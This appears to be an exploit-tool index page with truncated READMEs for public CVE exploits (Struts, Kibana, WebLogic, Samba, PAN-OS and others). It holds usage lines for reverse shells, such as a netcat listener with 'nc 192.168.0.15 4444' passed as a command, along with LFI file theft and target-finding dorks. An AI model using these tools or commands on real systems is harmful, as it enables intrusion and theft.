peda

peda PEDA - Python Exploit Development Assistance for GDB Key Features: Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging. Add commands to support debugging and exploit development for a full list of commands use peda help: aslr --...

CVE-2023-34598

CVE-2023-34598 - Gibbon v25.0.0 LFI エクスプロイト このリポジトリには、Gibbon v25.0.0 におけるローカルファイルインクルージョン LFI の脆弱性 CVE-2023-34598 を特定し悪用するための Python スクリプトが含まれています。このスクリプトは、ターゲットのウェブサイトをスキャンして脆弱性の有無を確認し、成功した場合には SQL ダンプをダウンロードしてさらなる分析に使用できます。また、脆弱性の可能性があるターゲットを見つけるのに役立つ組み込みの FOFA クエリも提供します。 概要 名前: CVE-2023-34598....

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 PlaySMS 1.4.3 より前のバージョンを悪用するPythonスクリプト 実行 お使いのマシンでポートを開放してください: そして、exploit.py を実行してください: root@kitploit: ./exploit.py エクスプロイトの変更 exploit.py が作成するリバースシェルを変更したい場合があります。 これを行うには、exploit.py の14行目から19行目にある関数 createrevshellencoded を変更します: root@kitploit: def...

struts-pwn_CVE-2017-9805

struts-pwn - CVE-2017-9805 エクスプロイト Apache Struts CVE-2017-9805 のエクスプロイト 使用方法 単一のURLに対して脆弱性が存在するかを確認します。 python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' URLのリストに対して脆弱性が存在するかを確認します。 python struts-pwn.py --list 'urls.txt' 単一のURLをエクスプロイトします。 python struts-pwn.py --explo...

Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit このエクスプロイトは、Apache Struts2の脆弱性（CVE-2017-5638）を悪用し、Apacheサーバ上でリモートからコマンドを実行することを可能にします。 使い方: $ sudo python Struts2Shell001.py root@kitploit: ! Exploit Apache Struts2 DEMO Code of Rvbk + HOST con https 脆弱性のあるサイト google dork to find sites that are using struts:...

CVE-2024-9474

PAN-OS CVE-2024-0012 および CVE-2024-9474 ブログ投稿から生成されたPythonスクリプト : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 そこにすべて記載されています X での私のコメント : https://x.com/k4nfr3/status/1858993646923903103 リバースシェルの例...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

cve-2019-7609

CVE-2019-7609 python3.6+ で書かれた CVE-2019-7609 用エクスプロイト。LandGrey のコード をベースにしています。 CVE-2019-7609 : Kibana 5.6.15 より前および 6.6.0 より前のバージョンの Timelion ビジュアライザーにおける RCE。 使用方法 1. リスナーを起動する 2. ターゲット URL（Kiba サーバーのベース URL）、リスナーのホストアドレス、リスナーポートを引数としてエクスプロイトを実行する root@kitploit: ./cve-2019-7609.py http://:5601 ...

cve-2017-5638

cve-2017-5638 cve-2017-5638 脆弱性のあるサイトのサンプル このプロジェクトは、教育目的でCVE-2017-5638のエクスプロイトを実演することを目的としています。 詳細については、https://cwiki.apache.org/confluence/display/WW/S2-045 を参照してください。 法的免責事項...

CVE-2024-24919-Exploit

CVE-2024-24919-Exploit 概述 此仓库包含针对 CVE-2024-24919 的 Python 漏洞利用代码，该漏洞允许您从存在漏洞的页面读取敏感文件。 此漏洞利用首先检查目标是否易受攻击，然后获取您指定的路径。 严重程度 : 严重 用法 首先克隆仓库： root@kitploit: git clone https://github.com/Rug4lo/CVE-2024-24919-Exploit cd CVE-2024-24919-Exploit 赋予权限并使用 python3 执行漏洞利用 root@kitploit: chmod +x exploit.py...

Centreon-CVE-2015-1560_1561

Centreon-CVE-2015-15601561 CVE-2015-1560 と CVE-2015-1561 を Centreon = 2.5.4 で悪用するための小さな Python ツール 簡易的で粗いものです。非常に粗いです。...

CVE-2022-46169

CVE-2022-46169 cacti バージョン 1.2.22、CVE-2022-46169 のエクスプロイト 使い方 root@kitploit: $ python3 cacti.py...

zaphoxx-coldfusion

zaphoxx-coldfusion https://cvedetails.com/cve/CVE-2009-2265/ に基づく ColdFusion エクスプロイト この特定の CVE のために Python スクリプトを用意した主な理由は、HTB のマシン Arctic を解こうとしたときに、同じ内容の Metasploit バージョンが自分ではうまく動かなかったためです。また、Python の練習を少しできるのも良かったからです。ただし、同じエクスプロイトの別の Python バージョンもあり、これは元々 Alexander Reid...

CVE-2026-39987.py

CVE-2026-39987.py 这个 Python 脚本利用存在漏洞的 marimo /terminal/ws 端点，并返回一个交互式 shell。 使用方法： 唯一需要修改的是脚本中的 HOST 变量。 更改 HOST 变量后，在终端中执行脚本，如下例所示： 使用示例： python3 CVE-2026-39987.py -- 如果目标存在漏洞，交互式 shell 将启动 -- 有关 CVE-2026-39987 的信息，请打开此链接 - https://nvd.nist.gov/vuln/detail/CVE-2026-39987 注意：如果你尚未安装...

CVE-2024-31819

スクリプトのインストールと実行 💻 前提条件 始める前に、お使いのマシンに以下のツールがインストールされていることを確認してください： Python 3.x Git pip （Python の依存関係を管理するため） インストール手順 1. リポジトリをクローンする git を使用してリポジトリをクローンします： root@kitploit: git clone https://github.com/dream434/CVE-2024-31819 2. プロジェクトのディレクトリに移動する root@kitploit: cd CVE-2024-31819 3. 依存関係をインストールする...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap 脚本。 https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 用法： root@kitploit: $ python usermapscript.py RHOST -- 目标地址 RPORT -- 目标端口（TCP：139） LHOST -- 监听地址 LPORT -- 监听端口 安装 root@kitploit: sudo apt install python python-pip pip install --user...

CVE-2023-21716-EXPLOIT.py

このリポジトリには README がありません。...

CVE-2025-5840

CVE-2025-5840 CVE-2025-5840 のエクスプロイト（Python 製）by hax / haxerr9 使い方: システムに Python3 がインストールされていることを確認してください。 "python3 CVE-2025-5840.py URL -c COMMAND" を実行してください。 スクリプトを実行する前にパラメータを指定するのを忘れないでください。 使用例: 未テスト このエクスプロイトはラボ環境ではテストされていません。動作しない場合（システム/サーバーが脆弱であると確信しているにもかかわらずエクスプロイトが動作しない場合）は、Issue...

CVE-2023-34960

CVE-2023-34960 大量の認証不要コマンドインジェクション Chamilo スクリーンショット 必要条件 Python3.7+ 対応OS Linuxer Wingays 始め方 root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-34960 $ cd CVE-2023-34960 $ pip/pip3 install -r requirements.txt $ python/python3 exploit.py 注意事項...